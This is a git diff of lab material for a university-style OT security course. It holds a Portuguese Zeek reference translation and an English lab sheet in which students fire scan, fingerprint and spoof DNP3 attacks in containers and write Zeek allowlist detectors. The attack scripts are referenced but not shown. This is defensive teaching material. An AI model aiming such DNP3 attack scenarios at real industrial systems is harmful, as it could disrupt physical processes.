54321/tcp) +c$id$resp_p # port — porta de destino (ex.: 20000/tcp) +c$uid # string — id único da conexão, usado em todos os logs ``` -Note the dollar-sign accessor: Zeek records are `c$field`, not `c.field`. +Repara no acessor com cifrão: os registos Zeek são `c$field`, não `c.field`. -`c$id$resp_p == 20000/tcp` is how you check the destination port is DNP3. The literal `20000/tcp` is a `port` value, not an integer — Zeek's type system tags ports with their transport so `20000/tcp != 20000/udp`. +`c$id$resp_p == 20000/tcp` é como verificas que a porta de destino é DNP3. O literal `20000/tcp` é um valor `port`, não um inteiro — o sistema de tipos do Zeek marca as portas com o respetivo transporte, por isso `20000/tcp != 20000/udp`. -### 2.3 Sets, tables, and the `in` / `!in` operators +### 2.3 Conjuntos, tabelas e os operadores `in` / `!in` -The whole baseline-allowlist machinery rests on two collection types: +Toda a maquinaria de allowlist da baseline assenta em dois tipos de coleção: ```zeek -# A set of addresses (no duplicates, no ordering). +# Um conjunto de endereços (sem duplicados, sem ordenação). const expected_endpoints: set[addr] = { 192.168.20.10, 192.168.21.20 } &redef; -# A table mapping link address → expected IP. +# Uma tabela que mapeia endereço de ligação → IP esperado. const link_addr_to_ip: table[count] of addr = { [1] = 192.168.20.10, [2] = 192.168.21.20, } &redef; ``` -Membership tests are infix: +Os testes de pertença são infixos: ```zeek -if ( my_ip !in expected_endpoints ) { ... } # IP not in the allowlist -if ( link_addr in link_addr_to_ip ) { ... } # link addr is known +if ( my_ip !in expected_endpoints ) { ... } # IP fora da allowlist +if ( link_addr in link_addr_to_ip ) { ... } # endereço de ligação conhecido ``` -Table lookup is `t[k]`, identical to most languages. `&redef` makes the constant overridable from another script (handy when `local.zeek` decides to widen the allowlist for a specific run without editing `baseline.zeek`). +A consulta de tabela é `t[k]`, idêntica à da maioria das linguagens. `&redef` torna a constante substituível a partir de outro script (útil quando o `local.zeek` decide alargar a allowlist para uma execução específica sem editar o `baseline.zeek`). -### 2.4 Modules and namespacing +### 2.4 Módulos e namespacing -Every detector in this lab belongs to either `DNP3Baseline` (the allowlists in `baseline.zeek`) or `DNP3Anomaly` (the notices the detectors raise). To put a declaration in a module, start the file with `module X;`: +Cada detetor neste laboratório pertence a `DNP3Baseline` (as allowlists no `baseline.zeek`) ou a `DNP3Anomaly` (os notices que os detetores levantam). Para colocar uma declaração num módulo, começa o ficheiro com `module X;`: ```zeek module DNP3Anomaly; export { - # exported declarations — visible as DNP3Anomaly::Foo from outside + # declarações exportadas — visíveis como DNP3Anomaly::Foo a partir do exterior } ``` -References across modules use `Module::name`: +As referências entre módulos usam `Module::name`: ```zeek if ( c$id$orig_h !in DNP3Baseline::expected_endpoints ) { ... } ``` -Why one shared `DNP3Anomaly` module across three detectors instead of three separate modules? Because all the notices belong to one logical family — the namespace `DNP3Anomaly::Unknown_Endpoint`, `DNP3Anomaly::Unexpected_Function_Code`, ... reads better in `notice.log` than `UnknownEndpoint::Note`, `UnexpectedFC::Note`, ... +Porquê um único módulo `DNP3Anomaly` partilhado entre três detetores, em vez de três módulos separados? Porque todos os notices pertencem a uma família lógica — o namespace `DNP3Anomaly::Unknown_Endpoint`, `DNP3Anomaly::Unexpected_Function_Code`, ... lê-se melhor no `notice.log` do que `UnknownEndpoint::Note`, `UnexpectedFC::Note`, ... -### 2.5 The Notice framework +### 2.5 A framework Notice -Raising an alert is one function call: +Levantar um alerta é uma só chamada de função: ```zeek NOTICE([$note = DNP3Anomaly::Unknown_Endpoint, @@ -93,17 +93,17 @@ NOTICE([$note = DNP3Anomaly::Unknown_Endpoint, $conn = c]); ``` -Key conventions: +Convenções-chave: -- `$note` — an enum value you declared with `redef enum Notice::Type += { Foo };` inside an `export {}` block. -- `$msg` — free-form human-readable string. Use `fmt(...)` for formatting (like `printf`); `%s` works for both `addr` and `string`, `%d` for `count`. -- `$conn = c` — passes the whole connection in. The Notice framework then auto-fills `id.orig_h`, `id.resp_h`, `uid`, and the timestamp in `notice.log`. Without `$conn`, you would have to set `$src` and `$dst` by hand. +- `$note` — um valor enum que declaraste com `redef enum Notice::Type += { Foo };` dentro de um bloco `export {}`. +- `$msg` — string livre legível por humanos. Usa `fmt(...)` para formatação (como o `printf`); `%s` funciona para `addr` e `string`, `%d` para `count`. +- `$conn = c` — passa a conexão inteira. A framework Notice preenche então automaticamente `id.orig_h`, `id.resp_h`, `uid` e o timestamp no `notice.log`. Sem `$conn`, terias de definir `$src` e `$dst` à mão. -Suppression is automatic: Zeek's default is to silence duplicate notices (same `note`, same `src`, same `dst`) for one hour. A `scan` attack with 1024 SYNs from one IP produces exactly one `Unknown_Endpoint` notice, not 1024. You almost never need to override this. +A supressão é automática: o Zeek, por omissão, silencia notices duplicados (mesmo `note`, mesmo `src`, mesmo `dst`) durante uma hora. Um ataque `scan` com 1024 SYNs de um IP produz exatamente um notice `Unknown_Endpoint`, não 1024. Quase nunca precisas de o substituir. -## 3. Worked example — `unknown-endpoint.zeek` +## 3. Exemplo resolvido — `unknown-endpoint.zeek` -The full file: +O ficheiro completo: ```zeek ##! Notice when a DNP3 conversation involves an endpoint outside @@ -160,37 +160,37 @@ event dnp3_application_response_header(c: connection, is_orig: bool, } ``` -### Walkthrough — the four lines that matter +### Análise — as quatro linhas que importam -1. **`@load ../baseline.zeek`** — pulls in the allowlist constants. Without this, `DNP3Baseline::expected_endpoints` is unresolved and Zeek refuses to start. -2. **`module DNP3Anomaly; export { redef enum Notice::Type += { ... } }`** — adds a new value to the global `Notice::Type` enum. The `export` block is necessary for the enum value to be visible outside the module (so `notice.log` can label rows with it). -3. **`o !in DNP3Baseline::expected_endpoints || r !in ...`** — set-membership check. Either side outside is enough to flag the conversation. Using `local` bindings (`o`, `r`) avoids repeating `c$id$orig_h` and makes the `fmt` arguments shorter. -4. **`function check_endpoints(c, kind, fc)`** — the request and response events carry the *same* check, so the body lives in one helper and each handler is a single call. `kind` is the only thing that differs (the word in the notice), passed in as a `string`. One place to fix if the rule changes — no copy to drift out of sync. -5. **`NOTICE([$note=..., $msg=..., $conn=c])`** — record-literal construction passed to a function. `$conn=c` is the auto-fill trick from §2.5. +1. **`@load ../baseline.zeek`** — traz as constantes de allowlist. Sem isto, `DNP3Baseline::expected_endpoints` fica por resolver e o Zeek recusa-se a arrancar. +2. **`module DNP3Anomaly; export { redef enum Notice::Type += { ... } }`** — adiciona um novo valor ao enum global `Notice::Type`. O bloco `export` é necessário para que o valor do enum seja visível fora do módulo (para o `notice.log` poder etiquetar linhas com ele). +3. **`o !in DNP3Baseline::expected_endpoints || r !in ...`** — teste de pertença a conjunto. Qualquer um dos lados fora chega para sinalizar a conversa. Usar ligações `local` (`o`, `r`) evita repetir `c$id$orig_h` e encurta os argumentos do `fmt`. +4. **`function check_endpoints(c, kind, fc)`** — os eventos de pedido e de resposta carregam a *mesma* verificação, por isso o corpo vive num único auxiliar e cada handler é uma só chamada. `kind` é a única coisa que difere (a palavra no notice), passada como `string`. Um único sítio a corrigir se a regra mudar — sem cópia a dessincronizar-se. +5. **`NOTICE([$note=..., $msg=..., $conn=c])`** — construção de literal-registo passada a uma função. `$conn=c` é o truque de preenchimento automático da §2.5. -### Stretch — catching `scan` before any DNP3 PDU is parsed +### Extensão — apanhar o `scan` antes de qualquer PDU DNP3 ser processada -The `scan` attack rains TCP SYNs on port 20000. The handshake never completes, so no `dnp3_application_request_header` ever fires — and the detector above stays silent during pure scanning. To catch those, subscribe to `new_connection` and flag any flow with `c$id$resp_p == 20000/tcp` whose `orig_h` is outside the allowlist. Two events, one detector, full coverage. Left as exercise. +O ataque `scan` despeja SYNs TCP na porta 20000. O handshake nunca completa, por isso nenhum `dnp3_application_request_header` dispara — e o detetor acima fica em silêncio durante a varredura pura. Para os apanhar, subscreve `new_connection` e sinaliza qualquer fluxo com `c$id$resp_p == 20000/tcp` cujo `orig_h` esteja fora da allowlist. Dois eventos, um detetor, cobertura total. Deixado como exercício. -## 4. Pattern sketches for the other core cycles +## 4. Esboços de padrão para os outros ciclos centrais -### 4.1 `unexpected-function-code.zeek` (fingerprint cycle) +### 4.1 `unexpected-function-code.zeek` (ciclo fingerprint) -**Event surface.** Same two events as §3: `dnp3_application_request_header` exposes `fc: count` directly; `dnp3_application_response_header` does too. +**Superfície de eventos.** Os mesmos dois eventos da §3: `dnp3_application_request_header` expõe `fc: count` diretamente; `dnp3_application_response_header` também. -**Where the pattern bites.** `fc_request` in `dnp3.log` is the textual name (`READ`, `RESPONSE`, ...). `fc` in the event is the numeric code. Your allowlist must use the numbers (0x01, 0x81, 0x00, 0x82) — see the hint in `baseline.zeek`. +**Onde o padrão atua.** `fc_request` no `dnp3.log` é o nome textual (`READ`, `RESPONSE`, ...). `fc` no evento é o código numérico. A tua allowlist tem de usar os números (0x01, 0x81, 0x00, 0x82) — vê a pista no `baseline.zeek`. -**Edge case.** Zeek's binpac parser may skip the request event for unassigned function codes. The response side still fires with an `iin` error reply — that's your fallback signal. See the hint in OTLab15.md task 2.2. +**Caso-limite.** O parser binpac do Zeek pode saltar o evento de pedido para códigos de função não atribuídos. O lado de resposta ainda dispara com uma resposta de erro `iin` — esse é o teu sinal de recurso. Vê a pista na tarefa 2.2 do OTLab15.md. -### 4.2 `link-vs-ip-mismatch.zeek` (spoof cycle) +### 4.2 `link-vs-ip-mismatch.zeek` (ciclo spoof) -**Event surface.** `dnp3_header_block` — Zeek surfaces the DNP3 link-layer source and destination addresses, which never appear in `dnp3.log`. This is the only way to cross-check the link-layer identity against the IP carrying the frame. +**Superfície de eventos.** `dnp3_header_block` — o Zeek expõe os endereços de origem e destino da camada de ligação DNP3, que nunca aparecem no `dnp3.log`. Esta é a única forma de cruzar a identidade da camada de ligação contra o IP que transporta a trama. -**Why the `is_orig` branch matters.** A DNP3 frame can come from either side of the TCP connection. `is_orig=T` means the originator sent the frame, so the link source maps to `c$id$orig_h`. `is_orig=F` flips it. Skipping this branch produces false positives on every legitimate response. +**Porque importa o ramo `is_orig`.** Uma trama DNP3 pode vir de qualquer lado da conexão TCP. `is_orig=T` significa que o originador enviou a trama, por isso a origem de ligação mapeia para `c$id$orig_h`. `is_orig=F` inverte. Saltar este ramo produz falsos positivos em cada resposta legítima. -## 5. `zeek-cut` and JSON recipes +## 5. Receitas `zeek-cut` e JSON -`zeek-cut` extracts named columns from Zeek's default TSV logs. The `-d` flag rewrites `ts` from epoch to ISO 8601. Pipe to `column -t -s $'\t'` for aligned output. +O `zeek-cut` extrai colunas nomeadas dos logs TSV predefinidos do Zeek. A flag `-d` reescreve `ts` de epoch para ISO 8601. Encadeia para `column -t -s $'\t'` para saída alinhada. ```bash # notice.log — the detector outputs @@ -206,17 +206,17 @@ zeek-cut -d ts uid id.orig_h id.resp_h fc_request fc_reply < dnp3.log zeek-cut note < notice.log | sort -u ``` -If you prefer JSON, restart Zeek with the JSON LogAscii flag and use `jq`: +Se preferires JSON, reinicia o Zeek com a flag JSON do LogAscii e usa `jq`: ```bash zeek -C LogAscii::use_json=T -i eth1 /opt/zeek-lab/local.zeek jq -c '{ts, note, src, dst, msg}' < notice.log ``` -## 6. Official Zeek docs +## 6. Documentação oficial do Zeek -- [conn.log](https://docs.zeek.org/en/master/logs/conn.html) — fields and connection states -- [dnp3.log fields](https://docs.zeek.org/en/master/scripts/base/protocols/dnp3/main.zeek.html) — `DNP3::Info` record definition -- [DNP3 events](https://docs.zeek.org/en/master/scripts/base/bif/plugins/Zeek_DNP3.events.bif.zeek.html) — every `dnp3_*` event signature -- [Notice framework](https://docs.zeek.org/en/master/frameworks/notice.html) — `Notice::Info`, `Notice::policy`, suppression -- [Scripting language reference](https://docs.zeek.org/en/master/script-reference/index.html) — types, operators, records, `&redef` +- [conn.log](https://docs.zeek.org/en/master/logs/conn.html) — campos e estados de conexão +- [dnp3.log fields](https://docs.zeek.org/en/master/scripts/base/protocols/dnp3/main.zeek.html) — definição do registo `DNP3::Info` +- [DNP3 events](https://docs.zeek.org/en/master/scripts/base/bif/plugins/Zeek_DNP3.events.bif.zeek.html) — assinatura de cada evento `dnp3_*` +- [Notice framework](https://docs.zeek.org/en/master/frameworks/notice.html) — `Notice::Info`, `Notice::policy`, supressão +- [Scripting language reference](https://docs.zeek.org/en/master/script-reference/index.html) — tipos, operadores, registos, `&redef` diff --git a/OTLab15/OTLab15-EN.md b/OTLab15/OTLab15-EN.md new file mode 100644 index 0000000..69594e0 --- /dev/null +++ b/OTLab15/OTLab15-EN.md @@ -0,0 +1,183 @@ +--- +title: "Lab 15 - DNP3 Protocol Emulation and Detection with Zeek" +description: "Translate the OTLab14 baseline into Zeek allowlists and build behavioural detectors for malicious DNP3 traffic on an OT network." +categories: ["Laboratories"] +difficulty: "Advanced" +tags: ["OT", "ICS", "DNP3", "Zeek", "NSM", "Threat Detection", "Detection Engineering", "SCADA", "Behavioural Detection", "Allowlisting"] +estimated_time: "90 min" +level: 4 +area: "detection" +--- + +![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "OTLab15 — DNP3 + Zeek Detection Lab") + +[![Curriculum Lattes](https://img.shields.io/badge/Lattes-white)](http://lattes.cnpq.br/8846358506427099) +[![ORCID](https://img.shields.io/badge/ORCID-grey)](https://orcid.org/0000-0002-6254-7306) +[![SciProfiles](https://img.shields.io/badge/SciProfiles-black)](https://sciprofiles.com/profile/lffreitas-gutierres) +[![Scopus](https://img.shields.io/badge/Scopus-white)](https://www.scopus.com/authid/detail.uri?authorId=57195542368) +[![Web of Science](https://img.shields.io/badge/ResearcherID-grey)](https://www.webofscience.com/wos/author/record/Q-8444-2016) +[![substationworm](https://img.shields.io/badge/substationworm-black)](https://github.com/substationworm) +[![LFFreitasGutierres](https://img.shields.io/badge/LFFreitasGutierres-white)](https://github.com/LFFreitas-Gutierres) + +[![GitHub fariasrafael10](https://img.shields.io/badge/GitHub-fariasrafael10-black)](https://github.com/fariasrafael10) +[![LinkedIn Farias Rafael](https://img.shields.io/badge/LinkedIn-Farias_Rafael-blue)](https://www.linkedin.com/in/farias-rafael/) +[![IPLeiria ESTG-DEI](https://img.shields.io/badge/IPLeiria-ESTG--DEI-green)](https://www.ipleiria.pt/estg-dei/) + +## Scenario + +The same small utility from OTLab14 is now worried. After your Wireshark write-up showed that DNP3 carries no authentication, no encryption, and a stable, predictable conversation pattern, the company asks the obvious follow-up: **if anything unusual happened on this wire, would we even notice?** + +The question is not academic. Last Tuesday, **Maria from the Finance department** picked up a USB stick she found in the visitor parking lot and — meaning no harm — plugged it into her workstation to see who it belonged to. The malware on it phoned home and parked itself on her PC. From there it has a clean line of sight to the corporate segment, and this segment shares a host with the OT engineering workstation. Nobody noticed. + +You — still at the **(`otlab-student`)** dual-homed between OT and corporate — will introduce **Zeek**, a network security monitoring tool, into the same topology. Your job is *not* to write signature rules for known attacks. It is to translate the **baseline you documented in OTLab14** into a small set of allowlists, let Zeek tell you whenever the wire deviates from that baseline, and learn — by trying them — what kinds of OT-adversary behaviour those deviations actually look like. + +From the compromised host you will fire controlled attack scenarios 'for' actor; and from inside the otlab-student you will catch them with Zeek scripts you write yourself. + +> [!NOTE] +> **OTLab14 deliverable is the input here.** Keep your OTLab14 findings open: the expected endpoints, function codes, and link-layer addresses you documented there are exactly what you will encode as Zeek allowlists. + +> [!NOTE] +> Refer to `DNP3WiresharkReference-EN.md` for DNP3 frame layout and function-code tables as before. For Zeek-specific events, log fields, and `zeek-cut` recipes, see the companion `DNP3LabZeekReference-EN.md` in this lab's directory. + +## 📝 Tasks + +> [!WARNING] +> All tasks are conducted inside the lab containers. **Do not run any attack scenario, scanner, or capture against hosts outside this lab.** The attack scripts under `scripts/attacks/` emit real, valid DNP3 PDUs; pointed at production gear they can disrupt real industrial processes. + +### Phase 0 — Orientation + +- 1️⃣ Bring the lab up with `./OTLab15.sh -start` and confirm all **four** containers are running with `./OTLab15.sh -status`. Identify which container plays each role. + - *Hint: outstation, master, otlab-student, and the new role unique to OTLab15 — {xxxxxxxx}.* + +- 2️⃣ Open a shell in the otlab-student with `./OTLab15.sh -run`. Verify your two interfaces and confirm one foot in each subnet (carry the answer from OTLab14). + - *Hint: `{xxxx}` faces the corporate segment and `{xxxx}` faces the OT segment.* + +- 3️⃣ Confirm Zeek is installed inside the otlab-student. Note the version printed — write it down; it matters for the event names you will use later. + - *Hint: `zeek -v` should report version `{x.x.x}` or newer.* + +### Phase 1 — Zeek on the clean baseline + +- 1️⃣ Inside the otlab-student, create a working directory for your captures (e.g. `/root/otlab15/` or under `/opt/zeek-lab/`). Start a Zeek live capture on the **OT-side** interface, let the baseline run for at least 60 seconds (no attacks yet), then stop with Ctrl-C. + - *Hint: `zeek -C -i {xxxx} local` runs Zeek with the default local policy.* + +- 2️⃣ List the log files Zeek produced. For each of the three logs below, follow the link to the official Zeek docs and write one sentence describing what it records. + - [`conn.log`](https://docs.zeek.org/en/master/logs/conn.html) — *what level of detail?* + - [`dnp3.log`](https://docs.zeek.org/en/master/scripts/base/protocols/dnp3/main.zeek.html) — *what fields does it carry that `conn.log` does not?* + - [`notice.log`](https://docs.zeek.org/en/master/frameworks/notice.html) — *present? Why or why not on a clean baseline?* + - *Hint: Zeek defaults to TSV. For a JSON-friendly view that pipes cleanly into `jq`, restart with `zeek -C LogAscii::use_json=T -i {xxxx} local` (e.g. `jq -c '{ts, id, service}' < conn.log`).* + +- 3️⃣ Use `zeek-cut` on the baseline `conn.log` to list every unique pair of `id.orig_h` / `id.resp_h` you saw talking on port `20000/tcp`. Compare against the endpoints you documented in OTLab14 — they must match. + - *Hint: `cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u`. Filter for service `{xxxx_xxx}`.* + +- 4️⃣ Use `zeek-cut` on the baseline `dnp3.log` to list every unique value of `fc_request` and `fc_reply`. **You will see more function codes than your OTLab14 write-up mentioned** — investigate why before continuing. + - *Hint: in the steady state your OTLab14 documented `{0xXX RxxD}` and `{0xXX RxxxxxxE}`. The two extra ones in the baseline are `{0xXX CxxxxxM}` and `{0xXX UNSOLICITED_xxxxxxxE}` — the outstation publishes events the master did not poll for, and the master acknowledges them.* + +- 5️⃣ Record your **baseline allowlists** as a short note, then open `scripts/zeek/baseline.zeek` and transfer the note into the `&redef` constants. Empty allowlists make every detector in Phase 2 fire on every packet (`!in {}` is always true) — filling them in is what gives Phase 2 a clean signal to compare against. (`link_addr_to_ip` is encoded later, in cycle 2.3.) + - `expected_endpoints` — *the two IPs from OTLab14* + - `expected_func_codes` — *the four codes you just observed.* + +### Phase 2 — The fire-detect cycle + +> [!NOTE] +> Every cycle below shares the same shape: **(a)** fire an attack scenario from the host with `./OTLab15.sh -attack `, **(b)** observe the deviation in raw Zeek logs without your own detection script, **(c)** write a Zeek detector that turns that deviation into a `Notice`, **(d)** replay the attack and verify your detector lit up `notice.log`. Stop the Zeek capture between iterations so each round produces a clean log set. +> + + +#### 2.1 Cycle: `scan` → `unknown-endpoint.zeek` + +- 1️⃣ From a **second terminal on the host** (not inside the otlab-student), fire `./OTLab15.sh -attack scan` while a fresh Zeek live capture is running on the corp-side interface of the ews. + +- 2️⃣ Inspect `conn.log` after the attack. Find the rows that did not exist in the baseline. Document the deviating `id.orig_h`, the destination port, the connection states (`conn_state`), and roughly how many flows you saw. + - *Hint: there will be many flows in states meaning SYNs that never carried application data.* + +- 3️⃣ Write `scripts/zeek/detectors/unknown-endpoint.zeek` that emits a `Notice` whenever a `dnp3_application_request_header` or `dnp3_application_response_header` fires on a connection where `orig_h` or `resp_h` is outside your `expected_endpoints` set. Replay `-attack scan` with your script loaded (`zeek -i /opt/zeek-lab/local.zeek` after `@load`-ing your detector). Confirm `notice.log` shows your alert. + - *Hint: the simplest detector uses the connection events, not `conn.log`. A nice extension: also alert on plain TCP connections to `{xxxxx}/tcp` from an unknown source (catches `scan` even before any DNP3 PDU is sent).* + +#### 2.2 Cycle: `fingerprint` → `unexpected-function-code.zeek` + +- 1️⃣ Fire `./OTLab15.sh -attack fingerprint`. Inspect the new `fc_request` values in `dnp3.log` against your `expected_func_codes` allowlist. + - *Hint: at least one of the new function codes will be `{0xXX DELAY_MEASURE}`. Why is a master measuring round-trip delay unusual once steady-state polling has settled?* + +- 2️⃣ Write `scripts/zeek/detectors/unexpected-function-code.zeek`. Hook `dnp3_application_request_header(c, is_orig, application, fc)` for the request direction and `dnp3_application_response_header(c, is_orig, application, fc, iin)` for responses. Emit a `Notice` when `fc` is outside the allowlist. + +- 3️⃣ Replay `-attack fingerprint`. Note in your write-up which probes fired the detector — and which did **not**, and why. + +#### 2.3 Cycle: `spoof` → `link-vs-ip-mismatch.zeek` + +- 1️⃣ Fire `./OTLab15.sh -attack spoof`. This sends a **single** READ to the outstation — almost nothing visible in `dnp3.log` row count, but the link-layer telltale is there. + +- 2️⃣ Hook `dnp3_header_block(c, is_orig, len, ctrl, dest_addr, src_addr)`. This event surfaces the link-layer source/destination addresses, which `dnp3.log` does not record. From `c$id$orig_h`/`c$id$resp_h` you also know the **IP** that emitted the frame. + - *Hint: the OTLab14 mapping is `link addr {1} ↔ outstation IP` and `link addr {2} ↔ master IP`. Encode that as a `table[count] of addr` in `baseline.zeek`.* + +- 3️⃣ Write `scripts/zeek/detectors/link-vs-ip-mismatch.zeek` that cross-checks the link source address against the expected IP for that link address, picking the right side via `is_orig`. Emit a `Notice` on mismatch. + +- 4️⃣ Replay `-attack spoof` and confirm the detector fires. As a sanity check, re-fire `fingerprint` with this detector loaded — it **also** trips it, because it uses the legitimate master's link source from the attacker's IP. Discuss in one sentence why this overlap is desirable, not a flaw. + +### Phase 3 — Composition and reflection + +- 1️⃣ Inspect `scripts/zeek/local.zeek` — it ships pre-wired to `@load` `baseline.zeek` plus all three detector skeletons. Confirm `zeek -C -i /opt/zeek-lab/local.zeek` starts cleanly with no script errors against the detectors you have implemented. + - *Hint: detectors you did not touch stay as empty skeletons — Zeek loads them fine, they just don't emit anything.* + +- 2️⃣ With the full stack loaded, run the three scenarios back-to-back from the host: `scan`, `fingerprint`, `spoof` (with a short pause between each). Produce a single `notice.log` and extract a timeline of which detector fired when, for which scenario, against which source IP. + - *Hint: `zeek-cut ts note src | sort` is enough to draft the timeline.* + +- 3️⃣ Write a **one-page incident summary** structured as: (a) the attack scenarios you ran, in plain language, (b) the IOCs you would put in a SIEM rule for each, (c) which OTLab14 baseline fact each detector consumed, (d) what an attacker would have to do to evade your stack and stay under each allowlist. **This document is the input for OTLab16.** + +- 4️⃣ Reflection paragraph: in your write-up, argue briefly why allowlist-based, behavioural detection is a good fit for OT environments — and where it would break in IT environments. Reference the actual vocabulary size, baseline stability, and predictability you observed. + +## 🎯 Skills + +**Hands-on:** Network Security Monitoring (Zeek) · Behavioural / Allowlist Detection · DNP3 Log Analysis · Detection Engineering + +**Detecting [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/) techniques:** + +[![T0846 Remote System Discovery](https://img.shields.io/badge/ATT%26CK_ICS-T0846_Remote_System_Discovery-red)](https://attack.mitre.org/techniques/T0846/) +[![T0888 Remote System Information Discovery](https://img.shields.io/badge/ATT%26CK_ICS-T0888_Remote_System_Information_Discovery-red)](https://attack.mitre.org/techniques/T0888/) +[![T0855 Unauthorized Command Message](https://img.shields.io/badge/ATT%26CK_ICS-T0855_Unauthorized_Command_Message-red)](https://attack.mitre.org/techniques/T0855/) + +## 🔖 Nomenclature + +- DNP3: Distributed Network Protocol version 3 — SCADA protocol widely used in electric, water, and oil & gas utilities. +- EWS: Engineering workstation — the host operated by control engineers to configure, program, and monitor field devices. +- ICS: Industrial control system. +- IOC: Indicator of compromise — an observable network or host artefact that suggests an intrusion. +- IP: Internet protocol. +- NSM: Network security monitoring — passive observation of traffic for forensic and detection purposes; Zeek is an NSM tool. +- OT: Operational technology. +- PDU: Protocol data unit — one "message" at a given protocol layer (e.g. a DNP3 application fragment). +- PLC: Programmable logic controller. +- RTU: Remote terminal unit — the field device role typically played by a DNP3 outstation. +- SCADA: Supervisory control and data acquisition. +- TCP: Transmission control protocol. +- Zeek: Open-source NSM platform (formerly Bro). Parses protocols into structured logs and exposes a scripting language for detection. + +## 🛠️ Usage + +``` +Usage: ./OTLab15.sh -start [kali|ubuntu] | -stop | -clean | -run | -restart | -status | -attack + + -start Start the DNP3_Zeek environment using the specified distro (default: ubuntu) + Valid options: kali (rolling) or ubuntu (22.04) + -run Open a terminal inside the otlab-student container + -clean Remove containers, volumes, and network (keeps host-side ./scripts/attacks and ./scripts/zeek) + -stop Stop all containers + -restart Restart previously stopped containers + -status Show current containers status + -attack Fire a controlled attack scenario from dnp3-attacker + Valid scenarios: scan fingerprint spoof +``` + +> [!NOTE] +> When run on **WSL2**, the script auto-detects the environment and applies the kernel-level rules (`bridge-nf-call-iptables=0` and two `DOCKER-USER` ACCEPT rules) needed for traffic to be routed across the two Docker bridges. These rules require `sudo` and are reverted on `-clean`. On native Linux and macOS Docker Desktop the rules are skipped — Docker's defaults already allow the cross-bridge forwarding. + +## Solutions + +`scripts/zeek/` ships what the student works on: `baseline.zeek` with empty +allowlists to fill from OTLab14, and three detector skeletons (header comment + +commented event signature, empty body). `local.zeek` is pre-wired to `@load` +all of them, so an untouched skeleton loads cleanly and simply emits nothing. + +Worked reference answers for every task live in `scripts/solutions/` — a filled +`baseline.zeek` and all three detectors implemented. It is the instructor key and +is **not** mounted into the EWS (there, `/opt/zeek-lab` is `scripts/zeek/`); see +`scripts/solutions/README.md` to copy it in for verification. diff --git a/OTLab15/OTLab15-ES.md b/OTLab15/OTLab15-ES.md new file mode 100644 index 0000000..4c79ee1 --- /dev/null +++ b/OTLab15/OTLab15-ES.md @@ -0,0 +1,177 @@ +--- +title: "Lab 15 - Emulación del protocolo DNP3 y detección con Zeek" +description: "Traducir la baseline del OTLab14 en allowlists de Zeek y construir detectores conductuales para tráfico DNP3 malicioso en una red OT." +categories: ["Laboratorios"] +difficulty: "Avanzado" +tags: ["OT", "ICS", "DNP3", "Zeek", "NSM", "Detección de Amenazas", "Ingeniería de Detección", "SCADA", "Detección Conductual", "Allowlisting"] +estimated_time: "90 min" +level: 4 +area: "detection" +--- + +![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "OTLab15 — DNP3 + Zeek Detection Lab") + +[![Curriculum Lattes](https://img.shields.io/badge/Lattes-white)](http://lattes.cnpq.br/8846358506427099) +[![ORCID](https://img.shields.io/badge/ORCID-grey)](https://orcid.org/0000-0002-6254-7306) +[![SciProfiles](https://img.shields.io/badge/SciProfiles-black)](https://sciprofiles.com/profile/lffreitas-gutierres) +[![Scopus](https://img.shields.io/badge/Scopus-white)](https://www.scopus.com/authid/detail.uri?authorId=57195542368) +[![Web of Science](https://img.shields.io/badge/ResearcherID-grey)](https://www.webofscience.com/wos/author/record/Q-8444-2016) +[![substationworm](https://img.shields.io/badge/substationworm-black)](https://github.com/substationworm) +[![LFFreitasGutierres](https://img.shields.io/badge/LFFreitasGutierres-white)](https://github.com/LFFreitas-Gutierres) + +[![GitHub fariasrafael10](https://img.shields.io/badge/GitHub-fariasrafael10-black)](https://github.com/fariasrafael10) +[![LinkedIn Farias Rafael](https://img.shields.io/badge/LinkedIn-Farias_Rafael-blue)](https://www.linkedin.com/in/farias-rafael/) +[![IPLeiria ESTG-DEI](https://img.shields.io/badge/IPLeiria-ESTG--DEI-green)](https://www.ipleiria.pt/estg-dei/) + +## Escenario + +La misma pequeña empresa eléctrica del OTLab14 está ahora preocupada. Después de que tu informe en Wireshark mostrara que el DNP3 no transporta autenticación, ni cifrado, y que tiene un patrón de conversación estable y predecible, la empresa plantea la pregunta obvia: **si algo inusual ocurriera en este cable, ¿nos daríamos siquiera cuenta?** + +La pregunta no es académica. El martes pasado, **María, del departamento de Finanzas**, recogió un USB que encontró en el aparcamiento de visitantes y — sin mala intención — lo conectó a su estación de trabajo para ver de quién era. El malware que contenía se comunicó hacia el exterior y se instaló en su PC. Desde ahí tiene línea de visión limpia hacia el segmento corporativo, y este segmento comparte un host con la estación de trabajo de ingeniería OT. Nadie se dio cuenta. + +Tú — todavía en la **(`otlab-student`)**, con una interfaz en OT y otra en corporativo — vas a introducir **Zeek**, una herramienta de monitorización de seguridad de red, en la misma topología. Tu tarea *no* es escribir reglas de firma para ataques conocidos. Es traducir la **baseline que documentaste en el OTLab14** en un pequeño conjunto de allowlists, dejar que Zeek te avise cada vez que el cable se desvíe de esa baseline y aprender — probándolos — qué tipos de comportamiento de adversario OT representan realmente esos desvíos. + +Desde el host comprometido vas a lanzar escenarios de ataque controlados (en el papel del actor de amenaza); y desde dentro de la otlab-student vas a atraparlos con scripts de Zeek que escribes tú mismo. + +> [!NOTE] +> **El entregable del OTLab14 es la entrada aquí.** Mantén tus conclusiones del OTLab14 abiertas: los endpoints esperados, los códigos de función y las direcciones de la capa de enlace que documentaste allí son exactamente lo que codificarás como allowlists de Zeek. + +> [!NOTE] +> Consulta `DNP3WiresharkReference-ES.md` para la estructura de la trama DNP3 y las tablas de códigos de función, como antes. Para eventos específicos de Zeek, campos de log y recetas `zeek-cut`, consulta el `DNP3LabZeekReference-ES.md` que acompaña este laboratorio, en su directorio. + +## 📝 Tareas + +> [!WARNING] +> Todas las tareas se realizan dentro de los contenedores del laboratorio. **No ejecutes ningún escenario de ataque, escáner o captura contra hosts fuera de este laboratorio.** Los scripts de ataque en `scripts/attacks/` emiten PDUs DNP3 reales y válidas; apuntados a equipos de producción, pueden interrumpir procesos industriales reales. + +### Fase 0 — Orientación + +- 1️⃣ Levanta el laboratorio con `./OTLab15.sh -start` y confirma que los **cuatro** contenedores están corriendo con `./OTLab15.sh -status`. Identifica qué papel desempeña cada contenedor. + - *Pista: outstation, master, otlab-student y el nuevo papel exclusivo del OTLab15 — {xxxxxxxx}.* + +- 2️⃣ Abre una shell en la 